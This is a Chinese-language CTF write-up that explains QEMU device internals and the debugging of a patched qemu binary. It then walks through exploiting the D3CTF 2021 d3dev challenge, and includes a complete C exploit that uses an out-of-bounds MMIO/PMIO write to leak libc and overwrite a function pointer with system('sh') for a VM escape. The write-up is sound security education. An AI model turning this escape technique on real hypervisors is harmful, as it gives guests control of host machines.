qemu pwn

学习qemu pwn题目的调试和漏洞利用方法

Posted by X1ng on November 26, 2021

拖了很久的虚拟化学习,主要是通过例题了解在ctf题目中的调试和漏洞利用

qemu原理

  1. 每个qemu虚拟机都是宿主机上的一个进程,在进程中用mmap分配出大小为0x40000000字节的宿主机的虚拟内存来作为虚拟机的物理内存

  2. PCI设备有其配置空间来保存设备信息,头部最开始的数据为Device id和Vendor id

  3. 设备可以申请两类空间,memory mapped I/O(MMIO)和port mapped I/O(PMIO),并在配置空间中用Base Address Registers(BAR)来标记内存地址信息

  4. 每个PCI设备有一个总线号、一个设备号、一个功能标识,存在PCI域,PCI域最多可以承载256条总线, 每条总线最多可以有32个设备,每个设备最多可以有8个功能

    lspci 可以查看设备所在的域、总线号、设备号、功能号,不同版本lspci 显示的内容不一样

    其中对于形如0000:00:03.0的数据,0000是域,00是总线号,03是设备号,0是功能号

    可以通过这样一些标识符取访问设备的资源

    hexdump /sys/devices/pci0000:00/0000:00:03.0/config
    
  5. 访问memory mapped I/O内存:打开获取fd后用mmap映射内存地址,直接操作内存

    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    

    访问port mapped I/O内存:申请访问端口权限后用in、out访问

    iopl(3);
    inb(port); 
    outb(val,port); 
    

    设备会注册自己的MMIO和PMIO读写函数,当检测到访问其所在的内存或端口时调用注册的读写函数,实现对设备内存的读写功能

  6. 在初始化设备时会初始化四个比较重要的结构体:TypeInfo -> TypeImpl -> ObjectClass -> Object,每个 Object对应一个具体的device,其构造函数在qemu启动用-device参数加载设备时调用

    设备读写操作函数的第一个参数是这个Object类的指针

详细请看

qemu-pwn-基础知识 « 平凡路上 (ray-cp.github.io)

[原创]QEMU逃逸初探-二进制漏洞-看雪论坛

题目

qemu pwn题目的文件与Linux 内核题目类似,提供一个启动脚本、Linux内核、文件系统,以及一个patch过的qemu文件,运行启动脚本用题目附件给的qemu文件开启虚拟机

启动脚本文件中一般会添加一个PCI设备,在PCI中内置漏洞,也与内核题目相似,但是实现设备读写操作的代码在patch过的qemu文件中,可以在ida中搜索函数名快速定位设备读写函数

要求通过对设备的操作函数中的漏洞获得docker环境host机的shell,获取宿主机上的flag

以D3CTF 2021的d3dev为例学习qemu pwn的调试方法和漏洞利用方法

调试qemu

查看是否开启pie保护

[*] '/home/x1ng/vm/d3dev/bin/qemu-system-x86_64'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

例题开启了地址随机化保护

运行启动脚本,用gdb的attach功能附加到qemu进程上进行调试

shell1:

gcc -o exp exp.c -static
find . | cpio -o --format=newc > ../rootfs.img

shell2:

./launch.sh

shell3:

x1ng@ubuntu:~$ ps -ef | grep qemu
x1ng        5665    5664 63 04:26 pts/0    00:00:02 ./qemu-system-x86_64 -L pc-bios/ -m 128M -kernel vmlinuz -initrd rootfs.img -smp 1 -append root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet -device d3dev -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 -nographic -monitor /dev/null
x1ng        5669    5380  0 04:26 pts/3    00:00:00 grep --color=auto qemu

shell4:

sudo gdb -p 5665

attach时需要root权限

成功attach之后即可下断点调试,由于开启了pie保护,用pwndbg的$rebase()根据ida中的地址确定进程中的真实地址

D3CTF 2021 d3dev-revenge

查看题目的启动脚本

#!/bin/sh
./qemu-system-x86_64 \
-L pc-bios/ \
-m 128M \
-kernel vmlinuz \
-initrd rootfs.img \
-smp 1 \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \
-device d3dev \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null

漏洞应该存在于d3dev设备,将qemu-system-x86_64放到ida分析,在函数窗口搜索d3dev,可以找到相关的函数

d3dev_class_init函数中可以找到设备的Device id(0x11E8)和Vendor id(0x2333)

pci_d3dev_realize函数中可以找到该设备MMIO和PMIO的读写操作函数,且MMIO的内存大小为0x800,PMIO的内存大小为0x20,在读写的时候如果访问的地址在其范围内则会调用相关的读写函数

查看读写函数的前先将第一个参数恢复为Object结构体指针:

右键单机参数->Convert to struct*->d3devState

为什么是d3devState???

d3devState是d3dev设备对应的Object结构体,在这篇文章里有介绍,这个结构体在pci_d3dev_realize函数中初始化

对应这篇文章中的strng设备的pci_strng_realize函数

static void pci_strng_realize(PCIDevice *pdev, Error **errp)
{
    STRNGState *strng = DO_UPCAST(STRNGState, pdev, pdev);// DO_UPCAST实现了在继承链之间的强制转换
 
    memory_region_init_io(&strng->mmio, OBJECT(strng), &strng_mmio_ops, strng, "strng-mmio", STRNG_MMIO_SIZE);
    pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &strng->mmio);
    memory_region_init_io(&strng->pmio, OBJECT(strng), &strng_pmio_ops, strng, "strng-pmio", STRNG_PMIO_SIZE);
    pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_IO, &strng->pmio);
}

但是这题在ida中逆向分析pci_d3dev_realize函数并不能找到结构体名称,切换汇编窗口可以找到这个结构体

.text:00000000004D7E10 ; void __fastcall pci_d3dev_realize(PCIDevice_0 *pdev, Error_0 **errp)
.text:00000000004D7E10 pci_d3dev_realize proc near             ; DATA XREF: d3dev_class_init+27↑o
.text:00000000004D7E10 errp = rsi                              ; Error_0 **
.text:00000000004D7E10 pdev = rdi                              ; PCIDevice_0 *
.text:00000000004D7E10 ; __unwind {
.text:00000000004D7E10                 endbr64
.text:00000000004D7E14 d3dev = rdi                             ; d3devState *
.text:00000000004D7E14                 push    r12
.text:00000000004D7E16                 lea     r12, [d3dev+8E0h]
.text:00000000004D7E1D                 mov     rcx, d3dev      ; opaque
.text:00000000004D7E20                 mov     errp, d3dev     ; owner
.text:00000000004D7E23                 push    rbp
.text:00000000004D7E24                 mov     r9d, 800h       ; size
.text:00000000004D7E2A                 mov     rbp, d3dev
.text:00000000004D7E2D                 mov     d3dev, r12      ; mr
.text:00000000004D7E30 d3dev = rcx                             ; d3devState *
.text:00000000004D7E30                 lea     r8, aD3devMmio  ; "d3dev-mmio"
.text:00000000004D7E37                 lea     rdx, d3dev_mmio_ops ; ops
.text:00000000004D7E3E                 sub     rsp, 8

... ...

d3dev_mmio_readd3dev_mmio_write函数可以在d3devState->blocks数组中读写,其中的读写操作的下标是根据用户输入的读写地址addr和d3devState->seek确定的,查看d3devState的结构体,可以看到blocks数组的大小为0x108*8

00000000 d3devState      struc ; (sizeof=0x1300, align=0x10, mappedto_4545)
00000000 pdev            PCIDevice_0 ?
000008E0 mmio            MemoryRegion_0 ?
000009D0 pmio            MemoryRegion_0 ?
00000AC0 memory_mode     dd ?
00000AC4 seek            dd ?
00000AC8 init_flag       dd ?
00000ACC mmio_read_part  dd ?
00000AD0 mmio_write_part dd ?
00000AD4 r_seed          dd ?
00000AD8 blocks          dq 257 dup(?)           ; base 16
000012E0 key             dq ?
000012E8 key1            dq ?
000012F0 rand_r          dq ?                    ; offset
000012F8                 db ? ; undefined
000012F9                 db ? ; undefined
000012FA                 db ? ; undefined
000012FB                 db ? ; undefined
000012FC                 db ? ; undefined
000012FD                 db ? ; undefined
000012FE                 db ? ; undefined
000012FF                 db ? ; undefined
00001300 d3devState      ends

在注册mmio读写函数的时候设置了访问内存的大小为0x800,也就是根据addr能设置的idx最大为0x100,而d3dev_pmio_write函数中最大可以将seek设置为0x100,所以最大能读写的下标为0x200,存在越界读写的漏洞

d3dev_mmio_write函数中的越界写可以直接修改结构体中的数据,两个分支一个可以直接覆写4字节,另一个经过加密后可以覆写8字节;d3dev_mmio_read读取的数据要经过随机数key和key1进行加密,可以通过越界写将两处key内存覆盖为0或在d3dev_pmio_write函数中将两处key都设置为0

rand_r是一个libc中函数的指针,在d3dev_pmio_write函数中被调用,参数为d3devState->r_seed,可以在d3dev_pmio_write中设置r_seed的值,所以漏洞利用思路是直接泄露该地址后可以修改参数为”sh”并覆写rand_r指针为system函数,执行system("sh")

由于没有pwntools可以在泄露libc地址后快速定位system函数地址,可以在libc database search查找各个libc的函数偏移,这里在本机运行直接泄露查找,在比赛的时候可能需要运行docker泄露地址,以防libc小版本偏移不同

exp:

//gcc -o exp exp.c -static

#include <stdint.h>

#include <fcntl.h>

#include <sys/mman.h>

#include <sys/io.h>

#include <stdio.h>

#include <unistd.h>




unsigned char* mmio_mem = 0;

void setup_mmio() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
}

void mmio_write(uint32_t addr, uint32_t value) {
    *((uint32_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint64_t addr) {
    return *((uint64_t *)(mmio_mem + addr));
}



uint32_t pmio_base = 0xc040;

void setup_pmio() {
    iopl(3);
}

void pmio_write(uint32_t addr, uint32_t value)
{
    outl(value, pmio_base + addr);
}

uint64_t pmio_read(uint32_t addr)
{
    return (uint64_t)inl(pmio_base + addr);
}



uint64_t encode(uint32_t high, uint32_t low) {

    uint32_t addr = 0xC6EF3720;

    for (int i = 0; i < 32; ++i) {
        high = high - ((low + addr) ^ (low >> 5) ^ (16 * low));
        low = low - (((high + addr) ^ (high >> 5) ^ (16 * high)));
        addr += 0x61C88647;
    }

    return (uint64_t)high * 0x100000000 + low;
}


uint64_t decode(uint32_t high, uint32_t low) {

    uint32_t addr = 0x0;

    for (int i = 0; i < 32; ++i) {
        addr -= 0x61C88647;
        low += (((high + addr) ^ (high >> 5) ^ (16 * high)));
        high += ((low + addr) ^ (low >> 5) ^ (16 * low));
    }
    return (uint64_t)high * 0x100000000 + low;
}


int main(int argc, char* argv[]) 
{
    printf("[+] Setup\n");
    setup_pmio();
    setup_mmio();


    printf("[+] IO\n");
    pmio_write(0x8, 0x100);
    
    mmio_write(8*1,0);
    mmio_write(0,0);
    mmio_write(8*2,0);
    mmio_write(0,0);
    
    uint64_t libcbase=0;
    libcbase = mmio_read(8*3);
    libcbase = decode(libcbase>>32, libcbase&0xffffffff) - 0x4aeb0;
    printf("[+] libcbase: 0x%lx\n",libcbase);
    
    
    uint64_t system = libcbase+0x055410;
    printf("[+] system: 0x%lx\n",system);
    uint64_t enc_system = encode(system>>32, system&0xffffffff);
    
    mmio_write(8*3,enc_system&0xffffffff);
    mmio_write(8*3,enc_system>>32);
	pmio_write(0x1c,0x6873);
	
    return 0;
} 

在使用d3dev_mmio_read输出加密数据时,函数中分两次返回高4字节和低4字节

  if ( opaque->mmio_read_part )
  {
    opaque->mmio_read_part = 0;
    high = (unsigned int)high;
  }
  else
  {
    opaque->mmio_read_part = 1;
    high = low;
  }
  return high;

但是在使用者看来,只访问了一次内存,是因为在封装的访存函数模板中获取了8字节长度的数据

uint64_t mmio_read(uint64_t addr) {
    return *((uint64_t *)(mmio_mem + addr));
}

int main() {
    ...
    mmio_read(8*3);
    ...
}

而如果改为

uint64_t mmio_read(uint64_t addr) {
    return *((uint32_t *)(mmio_mem + addr));
}

int main() {
    ...
    mmio_read(8*3);
    mmio_read(8*3);
    ...
}

则第一次会返回这块8字节内存的低4字节,第二次返回高4字节

在使用exp模板的时候注意封装好的访问内存函数中使用的size

参考资料

qemu-pwn-基础知识 « 平凡路上 (ray-cp.github.io)

【CTF】D3CTF 2021 d3dev —— cy2cs

[原创]QEMU逃逸初探-二进制漏洞-看雪论坛-安全社区

[原创] D3CTF-2021 d3dev 漏洞分析及复现-二进制漏洞-看雪论坛-安全社区